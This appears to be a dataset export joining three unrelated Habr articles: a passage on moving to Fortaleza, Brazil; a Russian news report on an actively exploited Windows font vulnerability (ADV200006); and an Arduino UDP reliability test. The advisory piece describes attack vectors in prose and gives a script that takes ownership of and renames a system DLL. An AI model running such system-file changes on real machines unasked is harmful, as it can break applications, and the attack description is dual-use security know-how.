Международная школа с канадской школьной программой стоит около $500 в месяц в младших классах и немного дороже в старших классах. Международный детский садик на английском будет стоить около $300 в месяц. В целом по международным меркам это очень недорогое образование на английском, посмотрите сколько стоит международная школа в вашем городе и удивитесь!
Здание международной школы с обучением по канадской программеЕсли есть такое желание дети могут учиться в хорошей местной частной школе и выучить еще и португальский, который в свою очередь открывает дверь к испанскому.
Это два языка из топ-10 самых распространённых языков в мире, знание этих языков может открыть в будущем множество дверей как с точки зрения получения бесплатного высшего образования в Европе, так и с точки зрения карьеры. Именно поэтому я бы не стал совсем списывать со счетов местные частные школы, особенно если ребенок уже неплохо говорит по-английски. В конечном счёте английский - это та база, которая должна быть у каждого, а португальский и испанский может стать тем, что будет отличать вашего ребёнка и действительно открывать новые возможности.

### Виза
Вид на пляж Прая-де-Ирасема, чуть менее приличный район чем МирелешСитуация с визами до недавнего времени была немного грустная т.к. легко было остаться только на первые полгода пока нет необходимости оформлять визу. Однако, в начале этого года всё изменилось и переезд в Бразилию на длительный срок стал значительно легче.
Но давайте по порядку. По прилету в Бразилию у владельцев большинства паспортов стран СНГ и Европы есть 3 месяца безвизового пребывания - это очень удобно. При желании это пребывание можно продлить еще на 3 месяца в полиции за небольшую плату, около $20. Таким образом если вы приезжаете на сезон, до 6 месяцев в целом, то виза будет стоить вам всего около $20.
Если в течениe этого времени у вас появилось желание остаться подольше то теперь есть возможность это сделать с помощью [специальной визы для удалёнщиков](https://sistemas.mre.gov.br/kitweb/datafiles/Pretoria/en-us/file/Digital%20Nomad%20visa%20-%20E%20Pret%C3%B3ria%20-Versao%202022_01_26.pdf), подать на которую можно уже находясь в стране как турист, что очень удобно. Основных требования два: нужно показать контракт с каким-то работодателем за пределами Бразилии позволяющий вам работать дистанционно и подтвердить выпиской из банка одно из двух - либо $1,500 дохода в месяц за последние полгода, либо $18,000 накоплений в банке. Если эта виза вам интересна, то [в этом телеграм чате](https://t.me/nomadvisabrasil) обсуждают как её получить и делятся опытом. Правда пока успешных кейсов получения этой визы не много, возможно потому что виза новая и сами бразильцы еще не до конца разобрались как она работает.
Кроме этого интересной для кого-то может быть [виза для инвесторов](https://www.whereinrio.com/en-gb/newsdetail/how-to-get-a-golden-visa-in-brazil-investing-in-real-estate/7782#:~:text=The%20minimum%20investment%20required%20to,real%20estate%2C%20excluding%20rural%20properties.), которая требует покупки недвижимости стоимостью от 700,000 рeалов ($140,000). Но это точно не наш случай, поэтому подробнее про эту визу я не узнавал.
В городе достаточно много новых проектов, это новое 50 этажное жилое здание на краю набережной.### Налоги
Вечером Форталеза начинает бить ключoм, набережная наполняется людьмиЕсли вы переезжаете в Бразилию как удалёнщик и демонстрируете свой контракт для получения визы то естественно с этого дохода нужно будет платить налоги. К сожалению в Бразилии нет каких-то особенно привлекательных условий для тех кто переезжает работать из страны дистанционно на заграничного работодателя. К ним будут относиться как к бразильским налоговым резидентам и применять следующие налоговые ставки:
Получается что весь доход выше примерно $900 будет облагаться по ставке 27,5%, что прямо скажем не очень привлекательно по сравнению со многими другими странами, которые завлекают сейчас к себе удалёнщиков не только легкой визой, но и налоговыми льготами. С другой стороны, частично эти налоги могут быть компенсированы низкой стоимостью жизни, тут каждый должен считать для себя.
Вообще, если вы приезжаете на срок до 6 месяцев, т.е. на максимальный срок безвизового пребывания, вы не успеваете стать налоговым резидентом в Бразилии и соответственно налоговых обязательств просто не возникает.
Но есть и хорошие новости в сфере налогообложения! Согласно [местному законодательству](https://www2.deloitte.com/br/en/pages/living-and-working/articles/income-taxation.html) продажа активов приобретенных до того как вы стали налоговым резидентом Бразилии не облагается налогом. Это значит что если у вас есть например портфель ценных бумаг то вы можете продать часть этих бумаг, задекларировать свой доход и совершенно легально не платить налог с образовавшегося прироста капитала, если он есть конечно. Для тех кто планирует жить на доход с капитала это конечно потенциально сказочные условия.
В целом как ситуация с визами так и ситуация с налогами для того кто хочет остаться в Бразилии дольше чем на 6 месяцев и при этом не живет на доход с капитала остается сложной даже с введением визы "сетевого кочевника".
### Стиль/качество жизни
В целом всё в Форталезе конечно вращается вокруг множества пляжейМеня очень привлекает в Форталезе вот это сочетание тропического пляжа и большого города. С одной стороны можно буквально выйти из дома, перейти дорогу и оказаться среди пальм на пляже, торговцы продают свежие кокосы, теплый океан... тропическая сказка. С другой стороны достаточно вернуться домой у тебя под рукой есть все прелести жизни в большом современном городе - доставка продуктов из магазина за 10 минут, дешевый убер, быстрый интернет, международный аэропорт с прямыми рейсами в Европу. Вот это сочетание тропической пляжной локации с большим современным городом делает Форталезу если не уникальной, то очень редкой с точки зрения сочетания комфорта и отличного климата локацией.
Более того большим плюсом Форталезы по сравнению с другими тропическими локациями в ЮВА популярными у удалёнщиков является то, что здесь недорогая жизнь не означает, что нужно привыкать и приспосабливаться к непривычной местной кухне или культуре. Форталеза в пределах своих лучших районов - это совершенно европейский город с хорошей инфраструктурой и понятным менталитетом.
Пляжные клубы - популярное место отдыха, провести день у бассейна и пообедать всей семьей можно за $30В отличии от стран ЮВА здесь вы не станете “фарангом” на всю жизнь. Да, изначально когда вы не знаете языка на вас будут смотреть как на туриста и называть “гринго”, но если вы выучите язык, то увидите что страна готова с радостью вас принять как своего, у вас есть реальная возможность интегрироваться в местное общество и культуру. Многие из тех кто живут или жили в ЮВА рассказывали мне о том, что ощущение того, что ты там навсегда остаешься туристом и невозможность интегрироваться - это один из главных минусов того региона, на их взгляд. Фаранг всегда останется фарангом!
В Бразилии этого нет. Бразилия это настоящий плавильный котел в который приехали масса эмигрантов из Португалии, Италии, Германии, Восточной Европы и даже Японии. Если вы будете говорить на португальском вас скорее всего посчитают бразильцем откуда-то с юга т.к. там живет больше бразильцев с северо-европейскими корнями. Меня один раз вообще прямо спросили не из Флорианополиса ли я (город на юге Бразилии).
Бразильцы очень любят провести выходной день на пляже или устроить хорошее барбекю с кучей мяса и холодным пивом. Скажем так, мы разделяем их интересы и нам здесь с точки зрения стиля жизни очень комфортно!
Выйти на пляж еще перед завтраком побегать и искупаться в тёплом океане - это прекрасно. Заряжает на весь день!Если вас заинтересовала Форталеза здесь вы можете на неё взглянуть от первого лица.
**Если вам была интересна эта статья, то возможно вам будет интересен**[**мой телеграм канал**](https://t.me/artkrumpans)**о финансовой независимости и жизни в разных странах,**[**а также мой Твитер**](https://twitter.com/krumpans)**.** | https://habr.com/ru/post/676638/ | null | ru | null |
# В Windows 7-10 активно эксплуатируется 0day с удалённым исполнением кода. Патча нет

*Обработка шрифтов OpenType (OTF) происходит на уровне ядра Windows*
Во всех версиях Windows (7, 8.1, 10, Server 2008-2019) обнаружена критическая уязвимость, допускающая удалённое исполнение кода в полностью пропатченной системе. Microsoft вчера опубликовала предупреждение о безопасности [ADV200006](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/adv200006). Об уязвимости приходится сообщать до выпуска патча, потому что она уже [активно эксплуатируется](https://www.itnews.com.au/news/new-remote-code-execution-windows-zero-days-actively-exploited-539730) злоумышленниками. Пока её заметили только в «ограниченных целевых атаках», пишет Microsoft.
TL;DR:
* Злоумышленники могут воспользоваться уязвимостью, встроив в документ шрифт Type 1 и убедив пользователей открыть его.
* Уязвимость скрывается в библиотеке Windows Adobe Type Manager ATMFD.DLL (в последних версиях ATMLIB.DLL), которая работает на уровне ядра ещё со времён NT ([далеко не первый баг](https://googleprojectzero.blogspot.com/2015/07/one-font-vulnerability-to-rule-them-all.html) в этой библиотеке).
* Отключение службы Windows WebClient блокирует то, что Microsoft считает наиболее вероятным вектором удалённой атаки, а именно атаку через клиентскую службу Web Distributed Authoring and Versioning (WebDAV).
* Локальные аутентифицированные пользователи могут запускать вредоносные программы с эксплуатацией уязвимости (эскалация привилегий).
В предупреждении Microsoft сказано, что «в поддерживаемых версиях Windows 10 успешная атака может привести только к выполнению кода в контексте песочницы AppContainer с ограниченными привилегиями и возможностями».
Microsoft не сообщает, насколько успешно работают эксплоиты в упомянутых целевых атаках и что конкретно они делают, запускают ли полезную нагрузку или просто пытаются это сделать. Часто встроенная защита в Windows не позволяет эксплоитам работать так, как задумано. В сообщении также не упоминается о количестве и географическом расположении атак.
Пока патч не вышел, Microsoft предлагает использовать один или несколько обходных путей:
1. Отключить области предварительного просмотра в Проводнике Windows. В русскоязычной версии они называются «Область просмотра» и «Область сведений» (Preview Pane и Details Pane).

Это не позволит проводнику автоматически отображать шрифты Type 1. Хотя такой способ предотвратит некоторые типы атак, но не помешает локальному аутентифицированному пользователю запустить специально созданную программу с эксплоитом.
2. Отключить службу WebClient (Веб-клиент). Данная служба позволяет приложениям Windows создавать, сохранять и изменять файлы, находящиеся на серверах WebDAV, и обычно её можно безболезненно отключить.

Это наиболее вероятный вектор атаки, по оценке Microsoft. Опять же, отключение службы не помешает локально запустить эксплоит.
3. Переименовать ATMFD.DLL или, как вариант, исключить файл из реестра.
[Скрипт по переименованию файла](https://news.ycombinator.com/item?id=22670577) (измените название на ATMLIB.DLL в Windows 10):
> `cd "%windir%\system32"
>
> takeown.exe /f atmfd.dll
>
> icacls.exe atmfd.dll /save atmfd.dll.acl
>
> icacls.exe atmfd.dll /grant Administrators:(F)
>
> rename atmfd.dll x-atmfd.dll
>
> cd "%windir%\syswow64"
>
> takeown.exe /f atmfd.dll
>
> icacls.exe atmfd.dll /save atmfd.dll.acl
>
> icacls.exe atmfd.dll /grant Administrators:(F)
>
> rename atmfd.dll x-atmfd.dll`
Переименование ATMFD.DLL вызовет проблемы в приложениях, которые используют встроенные шрифты OpenType, так что некоторые приложения перестанут работать. Microsoft также предупреждает: ошибки при внесении изменений в реестр чреваты серьёзными проблемами, которые могут потребовать полной переустановки Windows.
Обычно фраза «ограниченные целевые атаки» означает операции по государственному заказу той или иной страны. Такие атаки зачастую ограничены не более чем десятком целей, что затрудняет их обнаружение. Но теперь после разглашения информации есть вероятность массовой эксплуатации уязвимости, так что есть смысл предусмотреть защитные меры, пока не вышел патч.
Библиотека ATMFD.DLL является частью ядра Windows со времён NT. Такое решение было принято, вероятно, [для повышения производительности](https://stackoverflow.com/questions/28532190/why-does-windows-handle-scrollbars-in-kernel) и улучшения стабильности по сравнению «адом библиотек» в Windows 3.11, которая постоянно вылетала с ошибками.
В Windows Vista графический стек начали постепенно выносить из ядра. Первым вынесли GDI, из-за чего в версии Windows Vista пропало аппаратное ускорение GDI. В Windows 7 аппаратное ускорение вернули, что потребовало частичного возвращения GDI в ядро. По причинам безопасности этот факт держался в секрете, но о нём стало известно после появления [эксплоитов GDI](https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/).
Судя по всему, разработчики Windows понимают необходимость выноса графического стека из ядра. Процесс идёт в правильном направлении, хотя и медленно. | https://habr.com/ru/post/493824/ | null | ru | null |
# Sending data from Arduino Nano 33 IoT to Raspberry Pi 4 using UDP
**Goal**: continuously send UDP packets from an Arduino Nano 33 IoT to a Raspberry Pi 4 to understand the reliability of this solution.
**It’s not important at the moment**: software or networking performance, throughput, etc. This is a first test to check the basics, there is a lot of room for improvements in the code, protocol, approach, which will be done in future iterations and based on the discoveries done in this test.
### The experiment
From the Arduino, an UDP packet is sent to the Raspberry Pi. The packet contains a string with the value of an incremental counter, and the value of micros().
Contents of the first 3 packets were (one per line):
```
1,33726393
2,33728539
3,33730495
```
On the **Raspberry Pi**, **netcat** is listening for those UDP packets:
```
$ netcat -u -s 0.0.0.0 -p 4545 -l > netcat-output.txt
```
Once finished, the last lines of **netcat-output.txt** were:
```
$ tail netcat-output.txt
1799991,3579137145
1799992,3579139114
1799993,3579141112
1799994,3579143035
1799995,3579144985
1799996,3579146918
1799997,3579148832
1799998,3579150780
1799999,3579152790
1800000,3579154958
```
and the output see on the **Arduino console** shows partial stats and the final stat:
```
(...)
stats | iter=1797000 | err=9285 | msg/sec=507
stats | iter=1798000 | err=9285 | msg/sec=507
stats | iter=1799000 | err=9285 | msg/sec=507
stats | iter=1800000 | err=9285 | msg/sec=507
ENDED | Sent 1800001 UDP packets in 3545431 ms. with 9285 errors
```
### Errors
How the errors are counted? The return value of **WiFiUDP.endPacket()** is used: that method returns 0 if there was some error. See [WiFiNINAUDPEndPacket](https://www.arduino.cc/en/Reference/WiFiNINAUDPEndPacket) for mor information.
On the Raspberry Pi, we can easilly check how many packets were actually received:
```
$ wc -l netcat-output.txt
1790712 netcat-output.txt
```
### Results
* Generated packets (Arduino): 1,800,000
* Errors reported by WiFiUDP.endPacket(): 9,285
* Successfully sent packets (measured from Arduino): 1,790,715
* Received packets (at Raspberry Pi): 1,790,712
Errors in percentages:
* errors reported by WiFiUDP.endPacket(): 9,285 of 1,800,000 = 0.5158%
* lost packets: 3 of 1,790,715 = 0.000167531%
### Next steps
* Refactor Arduino code
* Send data in binary format instead of strings
* Experiment with retries
* Experiment buffering data and send multiple data points per UDP message
* Experiment with different WiFi configuration
### Appendix: snippet of Arduino code
```
void floodUdp(int iters) {
int ret;
int ratio;
counter = 1;
errors = 0;
Serial.println("Flooding... :D");
udpStart = millis();
for (; iters == -1 || counter <= iters; counter++) {
if (counter % 1000 == 0) {
ratio = (counter) / ((millis() - udpStart) / 1000);
Serial.println(str + "stats | iter=" + counter + " | err=" + errors + " | msg/sec=" + ratio);
}
if (sendUdpToServer(serverHostname) != 1) {
errors++;
};
}
udpEnd = millis();
Serial.println(str + "ENDED | Sent " + counter + " UDP packets in " + (millis() - udpStart) + " ms. with " + errors + " errors");
}
int sendUdpToServer(char* ip) {
if (Udp.beginPacket(ip, 4545) != 1) {
Serial.println("[UDP] Udp.beginPacket() failed");
return -1;
}
String(counter).toCharArray(buf, 100);
Udp.write(buf);
Udp.write(sep);
String(micros()).toCharArray(buf, 100);
Udp.write(buf);
Udp.write(nl);
if (Udp.endPacket() != 1) {
Serial.print("e");
return -1;
}
return 1;
}
```
### Appendix: Wifi configuration
Configuration of hostapd running in Raspberry Pi:
```
# --------------------------------------------------------------------
# 2 Ghz (Arduino Nano 33 IoT)
# --------------------------------------------------------------------
interface=wlanrpi0
hw_mode=g
channel=10
ieee80211d=1
country_code=US
ieee80211n=1
wmm_enabled=1
ssid=********
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=********
macaddr_acl=1
accept_mac_file=/etc/hostapd/accept_mac.txt
``` | https://habr.com/ru/post/567920/ | null | en | null |
Subsets and Splits